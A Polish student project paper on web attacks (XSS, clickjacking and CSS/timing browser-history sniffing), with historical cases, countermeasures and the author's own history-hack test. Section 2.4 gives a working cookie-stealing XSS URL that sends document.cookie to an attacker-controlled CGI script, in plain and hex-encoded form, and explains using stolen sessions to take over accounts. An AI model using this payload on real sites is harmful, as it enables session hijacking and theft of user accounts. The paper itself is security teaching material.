Wykorzystanie nowoczesnych technik ataku do zdobycia poufnych danych Bezpieczeństwo systemów sieciowych - Projekt

Paweł Szołtysek

Streszczenie

W ostatnim okresie można zaobserwoważ znaczy rozwój nowoczesnych technik internetowych wykorzystywanych w codziennym korzystaniu z sieci. Z każdą kolejną technologią pojawiają się kolejne zagrożenia ze strony bezpieczeństwa danych, które są przesyłane przez użytkownika - z jego wiedzą i wolą, lub bez.

Niniejszy dokument przedstawia trzy techniki ataku: XSS, clickjacking oraz History Hack, które wyewoluowały w ostatnim czasie. Zostały opisane ich pierwsze implementacje, a także najgłośniejsze ataki historyczne wykonane za ich pomocą. W dokumencie są także przedstawione sposoby przeciwdziałania im. Dokument wieńczy implementacja ataku History Hack i jego analiza. Otrzymane wyniki wiarygodności ataku na poziomie 100% generują pewne obawy o bezpieczeństwo korzystania z dzisiejszej sieci WWW.

Spis treści

1 Wstęp

Nowoczesne serwisy webowe, korzystające z technik takich jak JavaScript, ActiveX czy Flash coraz bardziej wpływają na internet, dając możliwości o których jeszcze kilka lat temu nie marzono. Strony są bardziej złożone, zawierają treść dynamicznie tworzoną, sprawiając, że przeglądanie kolejnych stron jest ciekawsze dla użytkownika. Ich treść jest dostosowana pod konkretnych użytkowników zależnie od ich ustawień i wymagań. Zmienia się także sposób korzystania z internetu przez użytkowników - obejmuje on więcej aspektów życia. W efekcie, użytkownicy powierzają sieci kolejne, coraz bardziej osobiste informacje - nie tylko osobowe, ale także rodzinne, czy nawet finansowe. W obliczu tak nagłego rozwoju sieci, coraz większe szkody mógłby wyrządzić przypadkowy atak na jeden z serwisów z którego korzystają użytkownicy, a który jest w posiadaniu prywatnych danych. Z całą pewnością można więc powiedzieć, że bezpieczeństwo aplikacji webowych w ostatnim czasie znacznie zyskuje na znaczeniu.

Z nowymi technologami pojawiają się nowe możliwości przeprowadzania ataków na dane którymi one zarządzają. W niniejszej pracy główny nacisk zostanie położony na dwie technologie, które w ostatnim czasie zdobywają coraz większą popularność - XSS oraz clickjacking. Celem pracy jest więc

przegląd metod ataku XSS oraz wykorzystanie metody clickjacking do zdobycia poufnych danych użytkownika.

2 Atak XSS

2.1 Informacje ogólne

XSS to skrót od angielskiego zwrotu cross-site scripting i oznacza atak, który polega na osadzeniu w treści atakowanej witryny żądanego kodu, który zostanie przez przeglądarkę zinterpretowany, a który po wykonaniu przez przeglądarkę może skłonić użytkownika do wykonania niepożądanych przez niego akcji. Atak tego typu jest potencjalnie bardzo niebezpieczny - ponieważ kod znajdujący się na takiej witrynie może wykorzystywać do działania dane które przeglądarka otrzymała - i np. przesyłać je w inne miejsca.

Ogólnie więc atak XSS można określić działanie mające na celu wykonanie przez przeglądarkę (lub serwer) złośliwego kodu.

2.2 Sposób przeprowadzenia ataku

Ogólnie można wyróżnić dwa sposoby przeprowadzenia takiego ataku.

2.2.1 Przez hiperlink

Kod służący do ataku jest zwykle przesyłany przez hiperlink, który zawiera złośliwą treść. Niezorientowany użytkownik dokonuje wywołania takiego hiperlinka z innej strony, komunikatora IM, lub nawet poprzez samo wejście na teoretycznie bezpieczną stronę. Przygotowany atak przyjmuje postać hiperlinka, który powinien wyglądać dla użytkownika niepodejrzanie. Można go na przykład zakodować w HEX lub użyć aplikacji webowych do skracania linków. Po kliknięciu w taki link dokonuje się przesłanie danych do aplikacji webowej, a następnie serwer generuje stronę z wykorzystaniem złośliwych danych, która jednak wygląda tak, aby potencjalny użytkownik zinterpretował ją jako poprawną, zaufaną witrynę.

2.2.2 Przez kod bezpośredni

Wiele popularnych skryptów np. for dyskusyjnych pozwala na wysyłanie w postach zawartości z JavaScript. W treść takiego postu można bezpośrednio wpisać złośliwy kod, który spowoduje przesłanie np. informacji z cookies z komputera ofiary na inną maszynę - gdy tylko użytkownik postanowi wyświetlić odpowiedni wątek na forum.

2.3 Cel ataku

Celem ataku może być na przykład kradzież konta, zmiana ustawień, kradzież cookies, reklamowanie, tworzenie botnetów. Rozważa się też możliwość wykonywania czystych ataków DDoS na inne serwery (pomimo algorytmu *same origin policy*).

Tak na prawdę nowe zastosowania tego typu ataku są wciąż odkrywane i wprost zależą także od specyfiki serwisu - w październiku 2009 znaleziono możliwość wykonania ataku na serwis nasza-klasa.pl, w efekcie którego można było otrzymać tamtejszą e-walutę [14].

2.3.1 Znaczenie plików cookies

Prawie wszystkie dzisiejsze witryny wykorzystują pliki cookies, aby odpowiedni klasyfikować konta użytkowników do osób odwiedzających strony. W dzisiejszym internecie jest to w zasadzie jedyny możliwy sposób aby zapewnić użytkownikowi komfortowe korzystanie z różnych serwisów, wykorzystywany w każdego rodzaju witrynach od małych i nieznaczących for internetowych, poprzez serwisy społecznościowe czy webmail, kończąc na systemach bankowych czy stronach aukcyjnych.

W standardowym przypadku użycia, podczas logowania do serwisu możemy wyszczególnić trzy etapy w których użytkownik może się znaleźć:

identyfikacja (zwykle polega na ręcznym wpisaniu z klawiatury nazwy użytkownika)

autentykacja (najczęściej ręczne wpisanie ustalonego przy rejestracji hasła dostępu do systemu)

autoryzacja (pozwala na uzyskanie dostępu do żądanych zasobów)

W nowoczesnych witrynach proces logowania występuje jednokrotnie, a w etapie autoryzacji tworzony jest losowy ID sesji użytkownika (zwykle tzw. UUID), który jednoznacznie wskazuje na użytkownika oraz różne dane dotyczące bieżącej sesji (np. moment zalogowania, numer IP itd). Ponieważ powyższy numer ID musi przeglądarka zapamiętać, standardowo stosowanym mechanizmem jest zachowanie go w pliku cookie.

W takich systemach kradzież cookie z numerem sesji pozwala na bezpośrednie i bardzo proste przejęcie przez atakującego uprawnień które zostały przyznane ofierze - z jednego numeru sesji można korzystać jednocześnie na różnych komputerach. Problem ten dotyczy np. systemu gmail. Nie jest znany jednak inny, bardziej bezpieczny sposób zapewnienia komfortu korzystania z dzisiejszych systemów webowych niż wykorzystanie cookie - dzisiejsza architektura internetu nie pozwala na to.

Kradzież cookie jest uznana za jedno z największych zagrożeń w dzisiejszym internecie. Szerzej uargumentowane zostało to w [1].

2.4 Przygotowanie i przeprowadzanie ataku

Zależnie od witryny którą chcemy zaatakować, możemy mieć na celu różny efekt. Najczęściej jednak możliwość ataku występuje poprzez plik skryptu php z pewnym parametrem wysyłanym przez odpowiednio spreparowane zapytanie.

2.4.1 Etap 1 - Namierzanie

Na początku należy namierzyć witrynę, która posiada dziurę wrażliwą na atak XSS.

Jeśli dziura zostanie zlokalizowana, to można sprawdzić, czy wykorzystuje ona cookies. Jeśli tak, to istnieje możliwość ich kradzieży od użytkowników.

Do namierzania można wykorzystać wiedzę w internecie która wprost informuje o witrynach które są podatne na ataki [15] - chociaż zwykle publicznie podawane są witryny, których webmasterzy zdążyli już wcześniej naprawić lukę.

Do szybkiego sprawdzenia, czy dany element witryny jest podatny na atak XSS, można wykorzystać dane z [5].

2.4.2 Etap 2 - Testowanie

Dziury XSS różnią się pod względem tego jak mogą zostać wykorzystane do ataku. W różnych przypadkach często wymagane jest dopracowanie kodu który pozwoli na odpowiednie przeprowadzenie ataku. Należy też przeprowadzić testy które będą miały na celu uwiarygodnienie wyświetlanej strony (przez atak XSS, wyjście zostanie zmienione i strona może być wyświetlana niepoprawnie) - efekt końcowy wyświetlanej witryny jest kluczowy.

Następnie należy dodać kod, który będzie wprost wykorzystywał lukę. Zwykle jest to kod JavaScript lub (rzadziej) ActiveX - a ogólnie, kod działający po stronie klienta.

Zakładając, że atakowany plik php nosi nazwę a.php, wrażliwa zmienna nosi nazwę variable, a na witrynie yourhost jest uruchomiony skrypt CGI który zapisuje podawane cookies, można w prosty sposób dokonać kradzieży cookies:

```
http://host/a.php?variable="><script>document.location='
http://yourhost/cgi-bin/cookie.cgi?'%20+document.cookie</script>
```

Co może być zapisane jako HEX:

```
http://host/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E
```

Można też wykorzystać aplikację do skracania URL.

Powyżej został przedstawiony złośliwy kod JavaScript który służy do kradzieży cookies. Do jego uruchomienia potrzebny jest zaledwie prosty skrypt CGI który zapisze przesłane dane.

2.4.3 Etap 3 - Wykonanie ataku XSS

Mając najtrudniejszą część za sobą, odpowiednio spreparowany kod należy przekazać do innych użytkowników.

W przedstawionym przykładzie wykonywana akcja to tylko przejście do skryptu CGI. W normalnym środowisku atakujący mógłby wykonać więcej przekierowań, kradnąc więcej rzeczy, a następnie nawet powracając do zadanej witryny bez zauważenia czegokolwiek dziwnego.

Przesyłając tego typu linki przez sieć należy pamiętać, że duża część aplikacji np. do odczytywania e-maili posiada zabezpieczenia przez potencjalnie złośliwym kodem.

2.4.4 Etap 4 - Wykorzystanie zdobytych danych

Atak wykonany - posiadamy dane, które chcieliśmy zdobyć. Baza aktywnych cookies może posłużyć do wykonania w zasadzie każdej akcji z poziomu kont użytkowników w systemie.

Można do tego celu wykorzystać np. aplikacje wspomagające eksplorację danych aplikacji webowych WebSleuth.

2.4.5 Podatne na atak znaczniki i atrybuty HTML

Znaczniki HTML, które mogą być wykorzystane do przeprowadzenia ataku XSS zostały wypisane w tabeli 1.

Znacznik	Użycie	Zagrożenie
`<script>`	Osadzenie skryptów JS, VBScript itp.	Wykonanie wrogiego kodu
`<applet>`	Osadzenie apletów java	Wykonanie wrogiego kodu
`<embed>`, `<object>`	Osadzenie zewnętrznych obiektów	Wykonanie wrogiego kodu
`<XML>`	Osadzenie kodu XML	Wykonanie wrogiego kodu
`<style>`	Osadzenie arkuszy CSS	Wykonanie wrogiego kodu

Atrybuty HTML, które mogą być wykorzystane do przeprowadzenia ataku XSS zostały wypisane w tabeli 2.

Artybut	Znaczniki	Wartość atrybutu	Użycie
`href`	`a`, `link`	adres URL	Odnośnik
`src`	`frame`, `input`, `bgsound`, `img`	adres URL	Odnośnik do innego obiektu
`dynsrc`	`img`	adres URL	Odnośnik do filmu AVI
`lowsrc`	`img`	adres URL	Odnośnik do grafiki
zdarzenia JS	prawie każdy znacznik	kod javascript	Wykonanie kodu po zdarzeniu
`background`	`body`, `table`, `tr`, `td`, `th`	adres URL	Odnośnik do grafiki
`style`	prawie każdy znacznik	adres URL	Wiele
`content`	`meta`	adres URL	Odnośnik

2.5 Historyczne ataki XSS

Ataki XSS w największym stopniu zagrażają witrynom, które korzystają z zewnętrzych skryptów - przede wszystkim fora dyskusyjne, CMSy i blogi. Jeśli nie są one należycie często aktualizowane, wtedy możliwość wykonania ataku tego typu znacznie wzrasta.

Dobrym przykładem jest tutaj skrypt PHPNuke, który w wielu kolejnych wersjach otrzymywał nowe, ale nie przetestowane funkcjonalności. W poprzednich wersjach (głównie w 4 i 5) miesięcznie znajdowano conajmniej kilka miejsc które były wrażliwe na atak tego typu.

2.5.1 The MySpace Worm

Pierwszym poważnym, a jednocześnie bodaj najbardziej znanym przykładem ataku XSS jest *JS.Spacehero worm*. Atak ten został przeprowadzony na amerykańskim serwisie społecznościowym MySpace 4 października 2005 roku przez Samyego Kamkara. Polegał on na umieszczeniu w swoim profilu kodu HTML+CSS+JavaScript+AJAX którego zadaniem najprościej rzecz ujmując było wysłanie autorowi zapytania o dodanie do listy przyjaciół, oraz niewielka modyfikacja profilu ofiary. Wirus infekował kolejne profile, a aby zostać poddanym jego działaniu wystarczyło zaledwie wejść jako zalogowany użytkownik na inny, zainfekowany już profil.

W ciągu 20 godzin (tyle czasu zajęła reakcja administracji serwisu) na konto z którego został przeprowadzony atak wpłynęło ponad milion *friend requests* - podczas, gdy cały system miał w tamtym czasie około 35 milionów użytkowników.

Dokładniejsze informacje na temat powyższego robaka można znaleźć na [10].

2.5.2 StartPanic

Informacja na temat zainteresowań osób odwiedzających witrynę stanowi dla wielu osób ważną informację.

Istnieją sposoby na zmuszenie przeglądarki, aby wysłała ona informacje pod wskazany adres odnośnie witryn, które zostały odwiedzone przez użytkownika. Każda przeglądarka posiada bowiem historię, która przechowuje pewne informacje na temat odwiedzonych stron. Witryny jednak nie mogą bezpośrednio otrzymać informacji na temat historii wyświetlanych stron, poprzez zabezpieczony dostęp do niej. Wystarczy jednak wykorzystać CSS, który posiada możliwość stylizowania odwiedzonych witryn (*a:visited*). Witryna startpanic wykorzystuje bazę stu tysięcy popularnych domen, dla których buduje linki i sprawdza, czy strona wywołuje chęć oznaczenia linku jako odwiedzonego.

2.5.3 Casper

Wysoce ciekawy przykład wpływu ataku XSS na witrynę, która sama w sobie nie jest podatna na atak XSS został przedstawiony w [8].

```
var ghostlinks = document.getElementsByTagName('a');
for (var i=0l i< ghostlinks.length; i++) {
ghostlinks[i].onclick=function(){
ghostinit();
};
```

Powyższy kod pozwala zmienić funkcję wszystkich linków znajdujących się na zaatakowanej stronie. Po uruchomieniu kolejnej witryny tworzy się handler któego zadaniem jest tymczasowe przechowanie treści skryptu tak, aby po określonym czasie można go było ponownie uruchomić i znów zainfekować linki na bieżącej stronie. W tym miejscu mógłby także wykonać dodatkowe, niepożądane operacje na stronie (mimo że ta może być odporna na bezpośrednie ataki typu XSS). Oczywiście obowiązują tu zasady *Same origin policy*.

Wykorzystanie tego mechanizmu pozwala na atakowanie witryn które zawierają lepsze zabezpieczenia przeciw atakom XSS (zwykle oznacza to tyle, że posiadają ważniejsze dane). Atakujący po zainfekowaniu ofiary musi tylko czekać, aż użytkownik przejdzie do strefy jego interesującej. Sposób działania skryptu pozwala na prawie całkowitą możliwość nie zauważenia przez użytkownika ataku (nawet jesli zauważy pojawiające się na chwilę dodatkowe okienko, to nie będzie zdawał sobie sprawy z tego, co się dzieje).

3 Atak clickjacking

3.1 Informacje ogólne

Podczas korzystania z internetu korzystamy przede wszystkim z myszy, klikając na różnego typu linki, ufając, że wykonane przez nas operacje są zamierzonymi. Atak clickjacking wykorzystuje to zaufanie, *kradnąc* kliknięcia w zamierzone elementy, aby je wykorzystać do niezamierzonych przez użytkownika akcji.

W odróżnieniu od ataku XSS, zwykle to autor witryny bezpośrednio dodaje pewien szkodliwy kod, którego zadaniem jest przeprowadzenie właściwego ataku.

Nie można tez bezpośrednio określić w jaki sposób atak może zostać wykonany. Czy przez wykorzystanie ataków CSRF, szkodliwy kod JavaScript, nałożenie innej strony z wykorzystaniem overlay, czy iframe, lub przy wykorzystaniu mechanizmów cross domain access - bardzej w tym przypadku chodzi o ideę kradzieży kliknięcia.

3.2 Przeprowadzenie ataku clickjacking

Warunkiem przeprowadzenia ataku jest znajomość:

- adresu URL witryny, która będzie podlegała atakowi;
- miejsca, w którym należy wykonać klik, aby wywołał on pożądaną akcję.

Oczywistym jest, że w przypadku braku wiedzy na jeden z dwóch powyższych tematów, atak nie będzie mógł być przeprowadzony.

Twórcy stron www, które mogą okazać się podatne na atak, mogą wykorzystać powyższe spostrzeżenie - generując losowo poprawne adresy URL, lub zmieniając pozycję odpowiednich przycisków ważnych z punktu widzenia dostępu do danych.

3.3 Historyczne ataki clickjacking

Jednym z pierwszych ataków tego typu, a jednocześnie bodaj najbardziej spektakularnym, jest atak wykorzystujący technologię flash, a pozwalający uzyskać kontrolę nad mikrofonem i kamerą przez webmastera bez świadomego wyrażania na to zgody przez użytkownika. Polegał on na takim ustawieniu witryny na której należy wyrazić zgodę tak, aby użytkownik zupełnie nieświadomie wykonał odpowiednie kliknięcia - składało się na to odpowiednie przeskalowanie i przesunięcie strony, a także uczynienie jej niewidoczną. Dokładniejszy opis jednej z implementacji można znaleźć w [18]. Wartym odnotowania jest fakt, iż twórca technologii flash w ciągu zaledwie kilkunastu godzin opracował łatkę, która rozwiązywała problem.

Inny przykładowy atak opiera się o handler javascript onmousedown [13]. Jest to jedna z prostszych metod przeprowadzenia clickjackingu, pod względem ilości kodu potrzebnego do jego przeprowadzenia.

4 Zdobywanie informacji o odwiedzonych stronach WWW

Z punktu widzenia osoby która dostarcza strony WWW, bardzo pożyteczna może być informacja na temat stron WWW, które użytkownik wcześniej odwiedził.

Z drugiej strony, użytkownicy o swojej historii przeglądania myślą raczej jako o swojej prywatnej rzeczy. Oczywiście fakt odwiedzenia pewnej strony niesie ze sobą pewne informacje, jednak użytkownicy nie chcieliby, aby ten fakt nie był dostępny dla innych podmiotów (w szczególności innych stron WWW).

Poniżej zostaną przedstawione dwie różne techniki zdobywania informacji, czy użytkownik odwiedzał w historii zadane strony. Specyficzną cechą

obu metod jest to, że atakujący może uzyskać interesujące go dane bez wiedzy, ani tym bardziej zgody użytkownika.

4.1 Sposób zdobywania wiedzy

Istnieją dwa sprawdzone sposoby zdobywania wiedzy o odwiedzonych stronach WWW.

Są one niebezpieczne z kilku powodów:

- są one możliwe z powodu podstawowych możliwości przeglądarek, a nie ich błędów;
- zostały zidentyfikowane już wiele lat temu;
- w zasadzie nie istnieje sposób ich naprawy, za którym nie szłoby znaczne ograniczenie funkcjonalności korzystania z WWW;
- ataki mogą być przeprowadzone bez wiedzy i zgody użytkownika;
- podstawowe algorytmy anonimizacji przeglądania sieci nie pomagają w zapobieganiu takim atakom;
- blokowanie wykonywania skryptów JavaScript czy cachingu danych tylko w sposób częściowy ogranicza możliwość wykonania ataku;

4.1.1 Timing Hack

Ten atak opiera się na obserwacji, że zależnie od wcześniej odwiedzonych stron czas potrzebny na wykonanie niektórych czynności znacznie się różni. Mierząc ten czas, można okreslić, jakie witryny były odwiedzane przez użytkownika.

Można wykorzystywać różne czynności [2] do sprawdzania w ten sposób faktu odwiedzenia przez użytkownika stron:

cache przeglądarki w celu poprawy szybkości przeglądania WWW przechowuje ostatnio obejrzane strony WWW, aby w przypadku ponownego żądania wyświetlenia np. obrazków nie trzeba było ich ponownie ściągać z sieci, a jedynie odtworzyć je z pamięci lokalnej. Atak polega na wywołaniu żądania wyświetlenia pliku. Jeśli czas wykonania będzie szybki, oznacza to, że przeglądarka posiada dany plik w swoim cache - czyli wyświetlała stosunkowo niedawno odpowiednią stronę.

DNS cache jest osobnym (czasem występującym także w przeglądarce) mechanizmem który ma na celu poprawę jakości korzystania z sieci Internet. Ponieważ odpytywanie o numery IP dla domen bywa kosztowne, stosuje się zapamiętywanie ostatnio sprawdzonych domen. Poprzez dokument HTML można zmierzyć czas wykonania żądania translacji

DNS, i poprzez jego analizę określić, czy w ostatnim czasie strona była przeglądana.

Wielopoziomowy cache'ing stosuje się przede wszystkim w wielowarstwowych sieciach (intranetach) i serwerach proxy; ma on na celu (podobnie jak powyższe zastosowania pamięci cache) poprawić ruch w sieci i zwiększyć komfort przeglądania sieci WWW. Poprzez pierwszy poziom zwykle rozumie się stację roboczą użytkownika, a kolejne poziomy stanowią serwery w sieci. Takie ułożenie pozwala atakującemu uzyskać jeszcze więcej informacji o użytkowniku i jego otoczeniu.

4.1.2 CSS History Hack

Ten sposób ataku opiera się na wykorzystaniu obserwacji, że choć historia w przeglądarce www jest niedostępna dla strony, to jest ona aktywnie wykorzystywana podczas jej wyświetlania.

Atak ten został w tej formie zaproponowany w [4] w 2006 roku. Należy jednak zauważyć, że technicznie, mógł on być wykonywane znacznie wcześniej (w roku 1996 został publicznie wprowadzony do wykorzystywania standard CSS.

Atak CSS History Hack opiera się na atrybucie `a:visited`, który sprawdza, czy strona, do której link jest właśnie wyświetlany, była wcześniej odwiedzona przez użytkownika czy też nie. Atak na historię w oparciu o CSS wykorzystuje właśnie tę właściwość dzisiejszych przeglądarek. Po sprawdzeniu przesyłane są one na serwer (za pomocą technologii np. AJAX, lub nawet w oparciu o czysty CSS).

4.2 Sposoby przeciwdziałania

Skuteczne sposoby przeciwdziałania wyżej opisanym atakom powodują znaczne zmniejszenie komfortu korzystania z sieci, a i tak nie zapewniają one stuprocentowego bezpieczeństwa. W zasadzie tylko całkowite wyłączenie jakiegokolwiek cache-ingu na całej drodze między kientem i serwerem docelowym, a także mechanizmu historii w przeglądarce klienta pozwala uniknąć ataku tego typu.

4.3 Przykłady wykorzystania wiedzy o historii przeglądania

Ogólnie, atak tego typu może być wykorzystany do personalizowania treści, zawartości itp. witryny WWW, a także oferty która jest przedstawiona przez jej właściciela. Ogólnym celem jest wygenerowanie większego zysku - na podstawie informacji które użytkownik zostawia po sobie w sieci.

Scenariuszy wykrzystania takich ataków można napisać wiele, poniżej zostały przedstawione poglądowo cztery z nich.

4.3.1 Firma ubezpieczeniowa

Firma ubezpieczeniowa X zajmuje się sprzedażą polis na zdrowie i życie ludzi. Wiadomym jest, że taka firma ma na celu przede wszystkim zarabiać.

Jeśli taka firma oferuje sprzedaż swoich polis poprzez internet, może ona wykorzystać tego typu atak do oszacowania stanu zdrowia ubezpieczającego się (można podejrzewać, że jeśli użytkownik wchodził na stronę o tematyce chorób np. nóg, jest w pewien sposób z tym związany) i odpowiednio przedstawiać mu ofertę.

4.3.2 Sklep internetowy

Sklep internetowy jest w stanie wykorzystać atak tego typu do określenia, jakimi artykułami użytkownik może być zainteresowany.

Może sprawdzać, czy użytkownik był na innej witrynie w interesującej go kategorii, i w przypadku odpowiedzi pozytywnej odpowiednio przedstawiać (personalizować) ofertę do jego wymagań.

4.3.3 Witryna traktująca o stylu życia

Tego typu witryny są zwykle kierowane do konkretnej płci użytkowników.

Idea wykorzystana w [17] ma na celu oszacowanie płci na podstawie witryn, które były odwiedzone przez danego użytkownika. Każda sprawdzana strona WWW ma określone ratio użytkowników mężczyźni : kobiety, i na jego podstawie za pomocą prostego aparatu probabilistycznego wyznaczana jest domniemana płeć użytkownika. Wyniki tego badania okazały się nadspodziewanie dobre - witryna poprawnie określała płeć użytkownika w ok. 99% przypadków.

4.3.4 Odnajdywanie aktywnych cookies

Atak ten jest wyspecjalizowaną formą ataku na historię opisaną w [16]. Polega on na przeglądaniu odwiedzonych linków w poszukiwaniu ciągu znaków na podstawie których można zdobyć dostęp do serwisów które korzystają z logowania opartego o cookies - jak na przykład interfejs poczyt gmail, czy fora internetowe. Wiedząc, że użytkownik korzysta z usług serwisu gmail wystarczy wygenerować odpowiednią ilość linków, które zawierają w sobie ciąg wystarczający do automatycznego zalogowania się do systemu.

Ponownie, wyniki są zaskakująco dobre - ciąg losowy złożony z pięciu heksadecymalnych znaków system potrafił poprawnie zidentyfikować w krótkim czasie (ok. minuty), które ciągi są aktywne, tj. pozwalają na zalogowanie w słabo chronionych usługach.

5 Implementacja

W celu przedstawienia problemu w sposób praktyczny została wykonana implementacja ataku typu History Hack. Aplikacja sprawdzała, czy wśród zbioru stron które są aktywne w historii ofiary istnieją strony przewidziane przez atakującą. W pozytywnym przypadku zapisywała ona odpowiednie dane na zdalnym serwerze atakującego.

Osiągnięta wiarygodność na poziomie 100% (tj. wszystkie wyświetlone strony były poprawnie zidentyfikowane) rodzi pewne obawy w kontekście anonimowości przeglądania. Każda witryna może bowiem przeprowadzić atak tego typu, a mnogość wykorzystywanych w dzisiejszych czasach rozszerzeń pozwala go wykonać bez zauważenia nawet dla zaawansowanego użytkownika internetu. Co więcej, tak uzyskane dane potrafią dobrze zlokalizować użytkownika po numerze IP.

Do implementacji zostały wykorzystane następujące techniki: PHP, JavaScript+AJAX, CSS. Została też wykonana testowa implementacja bazująca tylko na CGI oraz CSS, której działanie zostało także potwierdzone.

6 Możliwości rozwoju

Z punktu widzenia przyszłych badań, które można prowadzić nad tą tematyką, bardzo ciekawe wykorzystanie opisanych metod ataku rodzi się przy ich hybrydyzacji. W przypadku poprawnie przeprowadzonego ataku na witrynę podatną na XSS, można we wstrzykniętym kodzie wykonać atak History Hack, otrzymując historię przeglądanych witryn różnych użytkowników. Według bieżącej wiedzy autora, ataki tego typu nie były opisywane w literaturze, a stanowią bardzo poważną możliwość uzyskania prywatnych danych za pomocą zaufanych stron, które nawet mogą nie być podatne na atak XSS.

Literatura

[1] Endler D. *The evolution of Cross-Site Scripting Attacks*, iDEFENCE, 20 maja 2002, Chantilly.

[2] Felten E., Schneider M. *Timing attacks on Web privacy* in Proceedings of the 7th ACM conference on Computer and communications security, Athens, Greece, ISBN 1-58113-203-4, s. 25-32, 2000, ACM New York, NY, USA.

[3] Gajda W. *Ataki XSS oraz CSRF na aplikacje internetowe*, Internet 7/2005, s.95-99. (http://gajdaw.pl/varia/xss-cross-site-scripting/)

[4] Grossman J. *I know where you've been*, Grossman's weblog, 11.08.2006. (http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html)

[5] Hansen R. *XSS Cheat Sheet* (http://ha.ckers.org/xss.html)

[6] Hansen R. *Clickjacking details* (http://ha.ckers.org/blog/20081007/clickjacking-details)

[7] Hansen R., Grossman J. *Clickjacking*, 2008 (http://www.sectheory.com/clickjacking.htm)

[8] Heiderich M. *I thought you were my friend! Malicious markup, browser issues and other obscurities*, OWASP Europe 2009, Kraków

[9] Rydzewski P. *Cross Site Scripting w praktyce*, itblog.onet, 12 października 2009

[10] Samy *I'll never get caught. I'm Popular.* (http://namb.la/popular/)

[11] Shiflett C. *Essential PHP Security*, O'Reilly, 2005

[12] Shiflett C. *PHP and web application security*, weblog, (http://shiflett.org/)

[13] Trammell D. D. *Clickjacking Technique using the onmouse Event*, BreakingPointLabs blog, 30.10.2008 (http://www.brakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event)

[14] Wasilewska-Śpioch A. *Nasza-Klasa: następna luka typu XSS*, Dziennik Internautów 12.10.2009 (http://di.com.pl/news/29020,0,Nasza-Klasa_nastepna_luka_typu_XSS.html)

[15] *Cross Site Scripting Holes*, 29 maja 2009 (http://www.devitry.com/holes.html)

[16] *Hacking CSRF tokens using CSS History Hack*, (http://securethoughts.om/2009/07/hacking-csrf-tokens-using-css-history-hack/)

[17] *Using your browser URL history to estimate gender*, (http://www.mikeonads.com/2008/07/13/using-your-browser-url-history-estimate-gender/)

[18] *Malicious camera spying using clickjacking*, guya.net